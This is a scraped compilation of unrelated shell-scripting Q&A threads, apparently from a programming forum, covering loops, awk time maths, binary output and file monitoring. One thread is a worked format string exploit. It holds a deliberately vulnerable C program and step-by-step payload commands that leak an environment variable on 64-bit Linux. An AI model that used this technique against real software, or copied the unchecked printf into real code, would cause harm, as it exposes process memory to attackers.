Scripting - Iterating Numbers Using a While Loop (newusers command) - linux

I am working on a script where I want to iterate between the numbers 1 to 15, but want it shown as 01 02 03 ... 13 14 15. Essentially what I am trying to do is add 15 users using the newusers command and using this script as < to the command. newusers needs to be in this format:
pw_name:pw_passwd:pw_uid:pw_gid:pw_gecos:pw_dir:pw_shell
Basically, it should look like this when I run the script with arguments =
cstuser01:EzVlK9Je8JvfQump:1001:1001:CST8177 user:/home/cstuser01:/bin/bash
cstuser02:EsKOfvhgnWpiBT6c:1002:1002:CST8177 user:/home/cstuser02:/bin/bash
cstuser03:qzQuR5vRgxdzY6dq:1003:1003:CST8177 user:/home/cstuser03:/bin/bash
I got most of it working but I am getting the error below:
./15users.sh: 57: ./15users.sh: Illegal number: 08
Here is my script so far (I took out a couple sections with error checking) =
#!/bin/sh -u
PATH=/bin:/usr/bin ; export PATH
umask=022
#num=1 (this variable is needed depending on which loop I use below)
user=$prefix"user"
uid=1001
gid=$uid
home=/home/$user
shell=/bin/bash
#echo "pw_name:pw_passwd:pw_uid:pw_gid:pw_gecos:pw_dir:pw_shell"
#PASSWD=$(openssl rand -base64 12)
I originally had this but ran into a few problems:
while [ $NUM -le 15 ] ; do
if [ $NUM -lt 10 ] ; then
NUM=0$NUM
fi
echo "$USER$NUM:$(openssl rand -base64 12):$UID:$GID:$GECO:$HOME$NUM:$SHELL"
UID=$(( UID + 1 ))
GID=$(( GID + 1 ))
NUM=$(( NUM + 1 ))
done
A friend of mine suggested this, it works perfectly fine. But I am trying to future proof this thing. What if I have a 100 or 1,000 users to add.
for NUM in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 ; do
echo "$USER$NUM:$(openssl rand -base64 12):$UID:$GID:$GECO:$HOME$NUM:$SHELL"
done
This didn't work:
for num in {01..15} ; do
i=09
echo "$(( 10#$num + 1 ))"
10
done
I then tried this getting a syntax error =
./15users.sh: 50: ./15users.sh: Syntax error: Bad for loop variable
for (( num=1; num<=15; num++ )) ; do
printf "%02d\n" $num
done
I tried this as well but seq prints vertically not horizontally:
#iterate=$(seq -w 1 15)
for $iterate ; do
echo "$user$num:$(openssl rand -base64 12):$uid:$gid:$geco:$home$num:$shell"
done

To loop over 01 to 15, it is much simpler to use brace expansion:
$ for num in {01..15}; do echo "$num"; done
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
In bash, by default, numbers beginning with 0 are octal. Since 08 and 09 are illegal as base-8 numbers, they will cause an error. To avoid that, explicitly specify the base:
$ i=09; echo $(( 10#$i + 1 ))
10
The expression 10#$i tells bash to interpret $i as a base-10 number.
Do NOT use all caps for your script variables. The system uses all caps and you don't want to accidentally overwrite a system variable.
In the case of UID, it is a read-only bash variable. Attempts by your script to assign UID will fail. Use lower or mixed-case for your script variables.
Another example of the all caps problem is $HOME. Note that the following code works:
$ openssl rand -base64 12
1bh9+dp+Ap7xFIBB
But the following fails:
$ (HOME=/home/user; openssl rand -base64 12)
zceZeWsQGpohTPvv
unable to write 'random state'
Apparently, openssl expects to have write-access to $HOME.
Assigning HOME to a non-existent directory causes an error.
So, again, do not all all caps for your script variables.

I won't try to diagnose your error message, but you're over-complicating what you're trying to achieve.
for i in {01..15}; do echo $i; done
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

Bash supports C style loops as well:
$ for (( i=1; i<=15; i++ )); do printf "%02d\n" $i; done
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
Just use printf with the flag to print leading 0 and you have your output.

Since it hasn't been mentioned yet:
seq -w 1 15
seq -w 1 15 | while read num; do echo "n=$num"; done

Related

Reading an environment variable using the format string vulnerability in a 64 bit OS

I'm trying to read a value from the environment by using the format string vulnerability.
This type of vulnerability is documented all over the web, however the examples that I've found only cover 32 bits Linux, and my desktop's running a 64 bit Linux.
This is the code I'm using to run my tests on:
//fmt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[]) {
char string[1024];
if (argc < 2)
return 0;
strcpy( string, argv[1] );
printf( "vulnerable string: %s\n", string );
printf( string );
printf( "\n" );
}
After compiling that I put my test variable and get its address. Then I pass it to the program as a parameter and I add a bunch of format in order to read from them:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
cb ef ff ff ff 7f
313 357 377 377 377 177
$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.
$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
cb ef ff ff ff 7f 25 31 30 24 31 36 6c 78
313 357 377 377 377 177 % 1 0 $ 1 6 l x
$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb
The 10th value contains the address I want to read from, however it's not padded with 0s but with the value 3125 instead.
Is there a way to properly pad that value so I can read the environment variable with something like the '%s' format?
So, after experimenting for a while, I ran into a way to read an environment variable by using the format string vulnerability.
It's a bit sloppy, but hey - it works.
So, first the usual. I create an environment value and find its location:
$ export FSTEST="Look at my horse, my horse is amazing."
$ echo $FSTEST
Look at my horse, my horse is amazing.
$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb
Now, no matter how I tried, putting the address before the format strings always got both mixed, so I moved the address to the back and added some padding of my own, so I could identify it and add more padding if needed.
Also, python and my environment don't get along with some escape sequences, so I ended up using a mix of both the python one-liner and printf (with an extra '%' due to the way the second printf parses a single '%' - be sure to remove this extra '%' after you test it with od/hexdump/whathaveyou)
$ printf `python -c "print('%%016lx|' *1)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
25 30 31 36 6c 78 7c 2d 2d 2d 2d 2d 2d 2d 2d cb
% 0 1 6 l x | - - - - - - - - 313
ef ff ff ff 7f
357 377 377 377 177
With that solved, next step would be to find either the padding or (if you're lucky) the address.
I'm repeating the format string 110 times, but your mileage might vary:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------
The consecutive '2d' values are just the hex values for '-'
After adding more '-' for padding and testing, I ended up with something like this:
./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
So, the address got pushed towards the very last format placeholder.
Let's modify the way we output these format placeholders so we can manipulate the last one in a more convenient way:
$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------
It should show the same result, but now it's possible to use an '%s' as the last placeholder.
Replacing '%016lx|' with just '%s|' wont work, because the extra padding is needed. So, I just add 4 extra '|' characters to compensate:
./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')
vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------
VoilĂ , the environment variable got leaked.

Convert a text into time format using bash script

I am new to shell scripting.. I have a tab-separated file, e.g.,
0018803 01 1710 2050 002571
0018951 01 1934 2525 003277
0019362 02 2404 2415 002829
0019392 01 2621 2820 001924
0019542 01 2208 2413 003434
0019583 01 1815 2134 002971
Here, the 3rd and 4th column is representing Start Time and End Time.
I want to convert these two columns in proper timeFrame so that I can get 6th column as the exact time difference between column 4 and column 3 in hours and minutes.
Column 6 result will be 3:40, 5:51, 00:11, 1:59, 2:05.
One way with awk:
$ cat test.awk
# create a function to split hour and minute
function f(h, x) {
h[0] = substr(x,1,2)+0
h[1] = substr(x,3,2)+0
}
{
f(start, $3);
f(end, $4);
span = end[1] - start[1] > 0 \
? sprintf("%d:%02d", end[0]-start[0], end[1]-start[1]) \
: sprintf("%d:%02d", end[0]-start[0]-1, 60+end[1]-start[1]);
print $0 OFS span
}
then run the awk file as the following:
$ awk -f test.awk input_file
Edit: per #glenn jackman's suggestion, the code can be simplified (refer to #Kamil Cuk's method):
function g(x) {
return substr(x,1,2)*60 + substr(x,3,2)
}
{
span = g($4) - g($3)
printf("%s%s%d:%02d\n", $0, OFS, int(span/60), span%60)
}
A simple bash solution using arithmetic expansion:
while IFS='' read -r l; do
IFS=' ' read -r _ _ st et _ <<<"$l"
d=$(( (10#${et:0:2} * 60 + 10#${et:2:2}) - (10#${st:0:2} * 60 + 10#${st:2:2}) ))
printf "%s %02d:%02d\n" "$l" "$((d/60))" "$((d%60))"
done < intput_file_path
will output:
0018803 01 1710 2050 002571 03:40
0018951 01 1934 2525 003277 05:51
0019362 02 2404 2415 002829 00:11
0019392 01 2621 2820 001924 01:59
0019542 01 2208 2413 003434 02:05
0019583 01 1815 2134 002971 03:19
Here is one in GNU awk using time functions, mktime to convert to epoch time and strftime to convert the time to desired format HH:MM:
$ awk -v OFS="\t" '{
dt3="1970 01 01 " substr($3,1,2) " " substr($3,3,2) " 00"
dt4="1970 01 01 " substr($4,1,2) " " substr($4,3,2) " 00"
print $0,strftime("%H:%M",mktime(dt4)-mktime(dt3),1) # thanks #glennjackman,1 :)
}' file
Output ($6 only):
03:40
05:51
00:11
01:59
02:05
03:19

Emitting a character (or multi-byte binary string) by integer ordinal in bash

I'm trying to echo integer in bash as is, without converting each digit to ASCII and outputting corresponding sequence. e.g.
echo "123" | hd
00000000 31 32 33 0a |123.|
it's outputting ASCII codes of each character. How can I output 123 itself, as unsigned integer for example? so that I get something like
00000000 0x7B 00 00 00
That's a job for printf
$ printf "\x$(printf '%x' "123")" | hd
00000000 7b |{|
The internal printf converts the decimal number 123 to hexadecimal and the external printf use \x to create a byte with that value.
If you want several bytes, use this:
$ printf '%b' "$(printf '\\x%x' "123" "96" "68")" | hd
00000000 7b 60 44 |{`D|
Or, if you want to use hexadecimal:
$ printf '%b' "$(printf '\\x%x' "0x7f" "0xFF" "0xFF")" | hd
00000000 7f ff ff |...|
Or, in this case, simply:
$ printf '\x7f\xFF\xFF' | hd
00000000 7f ff ff |...|
You have to be careful of endianess. x86 is little endian so you must store least significant byte first.
As an example, if you want to store the 32bit integer : 2'937'252'660d = AF'12'EB'34h on disk, you have to write : 0x34, then 0xEB, then 0x12 and then 0xAF, in that order.
Is use this helper for the same purpose as yours:
printf "%.4x\n" 2937252660 | fold -b2 | tac | while read a; do echo -e -n "\\x${a}"; done
printf change from dec base to hex base
fold splits by groups of 2 chars, i.e 1 byte
tac reverse the lines (this is where little-endian is applied)
while loop echo one raw byte at a time
Borrowing the observation from #Setop's answer that the examples imply that the OP wants uint32s, but trying to build a more efficient implementation (involving no subshells or external commands):
print_byte() {
local val
printf -v val '%02x' "$1"
printf '%b' "\x${val}"
}
print_uint32() {
print_byte "$(( ( $1 / (( 256 ** 0 )) ) % 256 ))"
print_byte "$(( ( $1 / (( 256 ** 1 )) ) % 256 ))"
print_byte "$(( ( $1 / (( 256 ** 2 )) ) % 256 ))"
print_byte "$(( ( $1 / (( 256 ** 3 )) ) % 256 ))"
}
Thus:
print_uint32 32 | xxd # this should be a single space, padded with nulls
...correctly yields:
00000000: 2000 0000 ...
...as demonstrated to reverse back to the original value by the Python struct.unpack() module:
$ print_uint32 32 |
> python -c 'import struct, sys; print struct.unpack("I", sys.stdin.read())'
32

How to monitor newly created file in a directory with bash?

I have a log directory that consists of bunch of log files, one log file is created once an system event has happened. I want to write an oneline bash script that always monitors the file list and display the content of the newly created file on the terminal. Here is what it looks like:
Currently, all I have is to display the content of the whole directory:
for f in *; do cat $f; done
It lacks the monitoring feature that I wanted. One limitation of my system is that I do not have watch command. I also don't have any package manager to install fancy tools. Raw BSD is all I have. I do have tail, I was thinking of something like tail -F $(ls) but this tails each file instead of the file list.
In summary, I want to modify my script such that I can monitor the content of all newly created files.
First approach - use a hidden file in you dir (in my example it has a name .watch). Then you one-liner might look like:
for f in $(find . -type f -newer .watch); do cat $f; done; touch .watch
Second approach - use inotify-tools: https://unix.stackexchange.com/questions/273556/when-a-particular-file-arrives-then-execute-a-procedure-using-shell-script/273563#273563
You can cram it into a one-liner if you want, but I'd recommend just running the script in the background:
#!/bin/bash
[ ! -d "$1" ] && {
printf "error: argument is not a valid directory to monitory.\n"
exit 1
}
while :; fname="$1/$(inotifywait -q -e modify -e create --format '%f' "$1")"; do
cat "$fname"
done
Which will watch the directory given as the first argument, and cat any new or changed file in that directory. Example:
$ bash watchdir.sh my_logdir &
Which will then cat new or changed files in my_logdir.
Using inotifywait in monitor mode
First this little demo:
Open one terminal and run this:
ext=(php css other)
while :;do
subname=''
((RANDOM%10))||printf -v subname -- "-%04x" $RANDOM
date >/tmp/test$subname.${ext[RANDOM%3]}
sleep 1
done
This will create randomly files named /tmp/test.php, /tmp/test.css and /tmp/test.other, but randomly (approx 1 time / 10), the name will be /tmp/test-XXXX.[css|php|other] where XXXX is an hexadecimal random number.
Open another terminal and run this:
waitPaths=(/{home,tmp})
while read file ;do
if [ "$file" ] &&
( [ -z "${file##*.php}" ] || [ -z "${file##*.css}" ] ) ;then
(($(stat -c %Y-%X $file)))||echo -n new
echo file: $file, content:
cat $file
fi
done < <(
inotifywait -qme close_write --format %w%f ${waitPaths[*]}
)
This may produce something like:
file: /tmp/test.css, content:
Tue Apr 26 18:53:19 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:21 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:23 CEST 2016
file: /tmp/test.css, content:
Tue Apr 26 18:53:25 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:27 CEST 2016
newfile: /tmp/test-420b.php, content:
Tue Apr 26 18:53:28 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:29 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:30 CEST 2016
file: /tmp/test.php, content:
Tue Apr 26 18:53:31 CEST 2016
Some explanation:
waitPaths=(/{home,tmp}) could be written waitPaths=(/home /tmp) or for only one directory: waitPaths=/var/log
if condition search for filenames matching *.php or *.css
(($(stat -c %Y-%X $file)))||echo -n new will compare creation and modification time.
inotifywait
-q to stay quiet (don't print more then required)
-m for monitor mode: Command don't termine, but print each matching event.
-e close_write react only to specified kind of event.
-f %w%f Output format: path/file
Another way:
There is a more sophisticated sample:
Listenning for two kind of events (CLOSE_WRITE | CREATE)
Using a list of new files flags for knowing which files are new when CLOSE_WRITE event occur.
In second console, hit Ctrl+C, or in new terminal, tris this:
waitPaths=(/{home,tmp})
declare -A newFiles
while read path event file; do
if [ "$file" ] && ( [ -z "${file##*.php}" ] || [ -z "${file##*.css}" ] ); then
if [ "$event" ] && [ -z "${event//*CREATE*}" ]; then
newFiles[$file]=1
else
if [ "${newFiles[$file]}" ]; then
unset newFiles[$file]
echo NewFile: $file, content:
sed 's/^/>+ /' $file
else
echo file: $file, content:
sed 's/^/> /' $path/$file
fi
fi
fi
done < <(inotifywait -qme close_write -e create ${waitPaths[*]})
May produce something like:
file: test.css, content:
> Tue Apr 26 22:16:02 CEST 2016
file: test.php, content:
> Tue Apr 26 22:16:03 CEST 2016
NewFile: test-349b.css, content:
>+ Tue Apr 26 22:16:05 CEST 2016
file: test.css, content:
> Tue Apr 26 22:16:08 CEST 2016
file: test.css, content:
> Tue Apr 26 22:16:10 CEST 2016
file: test.css, content:
> Tue Apr 26 22:16:13 CEST 2016
Watching for new files AND new lines in old files, using bash
There is another solution by using some bashisms like associative arrays:
Sample:
wpath=/var/log
while : ;do
while read -a crtfile ;do
if [ "${crtfile:0:1}" = "-" ] &&
[ "${crtfile[8]##*.}" != "gz" ] &&
[ "${files[${crtfile[8]}]:-0}" -lt ${crtfile[4]} ] ;then
printf "\e[47m## %-14s :- %(%a %d %b %y %T)T ##\e[0m\n" ${crtfile[8]} -1
tail -c +$[1+${files[${crtfile[8]}]:-0}] $wpath/${crtfile[8]}
files[${crtfile[8]}]=${crtfile[4]}
fi
done < <( /bin/ls -l $wpath )
sleep 1
done
This will dump each files (with filename not ending by .gz) in /var/log, and watch for modification or new files, then dump new lines.
Demo:
In a first terminal console, hit:
ext=(php css other)
( while :; do
subname=''
((RANDOM%10)) || printf -v subname -- "-%04x" $RANDOM
name=test$subname.${ext[RANDOM%3]}
printf "%-16s" $name
{
date +"%a %d %b %y %T" | tee /dev/fd/5
fortune /usr/share/games/fortunes/bofh-excuses
} >> /tmp/$name
sleep 1
done ) 5>&1
You need to have fortune installed with BOFH excuses librarie.
If you really not have fortune, you could use this instead:
LANG=C ext=(php css other)
( while :; do
subname=''
((RANDOM%10)) || printf -v subname -- "-%04x" $RANDOM
name=test$subname.${ext[RANDOM%3]}
printf "%-16s" $name
{
date +"%a %d %b %y %T" | tee /dev/fd/5
for ((1; RANDOM%5; 1))
do
printf -v str %$[RANDOM&12]s
str=${str// /blah, }
echo ${str%, }.
done
} >> /tmp/$name
sleep 1
done ) 5>&1
This may output something like:
test.css Thu 28 Apr 16 12:00:02
test.php Thu 28 Apr 16 12:00:03
test.other Thu 28 Apr 16 12:00:04
test.css Thu 28 Apr 16 12:00:05
test.css Thu 28 Apr 16 12:00:06
test.other Thu 28 Apr 16 12:00:07
test.php Thu 28 Apr 16 12:00:08
test.css Thu 28 Apr 16 12:00:09
test.other Thu 28 Apr 16 12:00:10
test.other Thu 28 Apr 16 12:00:11
test.php Thu 28 Apr 16 12:00:12
test.other Thu 28 Apr 16 12:00:13
In a second terminal console, hit:
declare -A files
wpath=/tmp
while :; do
while read -a crtfile; do
if [ "${crtfile:0:1}" = "-" ] && [ "${crtfile[8]:0:4}" = "test" ] &&
( [ "${crtfile[8]##*.}" = "css" ] || [ "${crtfile[8]##*.}" = "php" ] ) &&
[ "${files[${crtfile[8]}]:-0}" -lt ${crtfile[4]} ]; then
printf "\e[47m## %-14s :- %(%a %d %b %y %T)T ##\e[0m\n" ${crtfile[8]} -1
tail -c +$[1+${files[${crtfile[8]}]:-0}] $wpath/${crtfile[8]}
files[${crtfile[8]}]=${crtfile[4]}
fi
done < <(/bin/ls -l $wpath)
sleep 1
done
This will each seconds
for all entries in watched directory
search for files (first caracter is -),
search for filenames begining by test,
search for filenames ending by css or php,
compare already printed sizes with new file size,
if new size greater,
print out new bytes by using tail -c and
store new already printed size
sleep 1 seconds
this may output something like:
## test.css :- Thu 28 Apr 16 12:00:09 ##
Thu 28 Apr 16 12:00:02
BOFH excuse #216:
What office are you in? Oh, that one. Did you know that your building was built over the universities first nuclear research site? And wow, aren't you the lucky one, your office is right over where the core is buried!
Thu 28 Apr 16 12:00:05
BOFH excuse #145:
Flat tire on station wagon with tapes. ("Never underestimate the bandwidth of a station wagon full of tapes hurling down the highway" Andrew S. Tannenbaum)
Thu 28 Apr 16 12:00:06
BOFH excuse #301:
appears to be a Slow/Narrow SCSI-0 Interface problem
## test.php :- Thu 28 Apr 16 12:00:09 ##
Thu 28 Apr 16 12:00:03
BOFH excuse #36:
dynamic software linking table corrupted
Thu 28 Apr 16 12:00:08
BOFH excuse #367:
Webmasters kidnapped by evil cult.
## test.css :- Thu 28 Apr 16 12:00:10 ##
Thu 28 Apr 16 12:00:09
BOFH excuse #25:
Decreasing electron flux
## test.php :- Thu 28 Apr 16 12:00:13 ##
Thu 28 Apr 16 12:00:12
BOFH excuse #3:
electromagnetic radiation from satellite debris
Nota: If some file are modified more than one time between two checks, all modification will be printed on next check.
Although not really nice, the following gives (and repeats) the last 50 lines of the newest file in the current directory:
while true; do tail -n 50 $(ls -Art | tail -n 1); sleep 5; done
You can refresh every minute using a cronjob:
$crontabe -e
* * * * * /home/script.sh
if you need to refresh in less than a minute you can use the command "sleep" inside your script.

Sed to extract with log between to given date

I am trying to extract the logs b/w two given dates. the code is working fine if I specify the date like this Apr 02 15:21:28, I mean if know time with exact min and second, But code gets failed with I pass value like this
from Apr 02 15* to Apr 04 15* here 15 is hour, actually I want to make script in which user just need to add day and time (only in hours no min or seconds)
> #!/bin/bash
read -p " enter the App name : " app
file="/logs/$app/$app.log"
read -p " Enter the Date in this Format --'10 Jan 20 or Jan 10 20' : " first
read -p " Enter the End time of logs : " end
if [ -f "$file" ]
then
if grep -q "$first" "$file"; then
final_first=$first
fi
if grep -q "$end" "$file"; then
final_end=$end
fi
sed -n " /$final_first/,/$final_end/ "p $file >$app.txt
else
echo "$app.log not found, Please check correct log name in deployer"
fi
Sample data:
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
I'd use a language with built-in datetime parsing or an easily included module. For example, perl
first="Apr 07 12"
end="Apr 08 00"
perl -MTime::Piece -sane '
BEGIN {
$first_ts = Time::Piece->strptime($first, "%b %d %H")->epoch;
$end_ts = Time::Piece->strptime($end, "%b %d %H")->epoch;
}
$ts = Time::Piece->strptime(join(" ", #F[0..2]), "%b %d %T")->epoch;
print if $first_ts <= $ts and $ts <= $end_ts;
' -- -first="$first" -end="$end" <<END
Apr 07 11:39:15 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:00:00 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
Apr 07 23:59:59 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
Apr 08 00:00:01 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
END
outputs
Apr 07 12:00:00 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] model.DSSAuthorizationModel - pathInfo : /about-ses
Apr 07 12:39:15 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
Apr 07 23:59:59 DEBUG [http-0.0.0.0-8089-21] servlet.CasperServlet - Request about to be serviced by model: com.ge.oilandgas.sts.model.SessionValidModel
Given your code, I would make the following change:
if ! [ -f "$file" ]; then
echo "$app.log not found, Please check correct log name in deployer"
exit 1
fi
grep -q "$first" "$file" && final_first="/$first/" || final_first='1'
grep -q "$end" "$file" && final_end="/$end/" || final_end='$'
sed -n "${final_first},${final_end}p" "$file" >"$app.txt"
That provides default addresses for the sed range, first line and last line.

Resources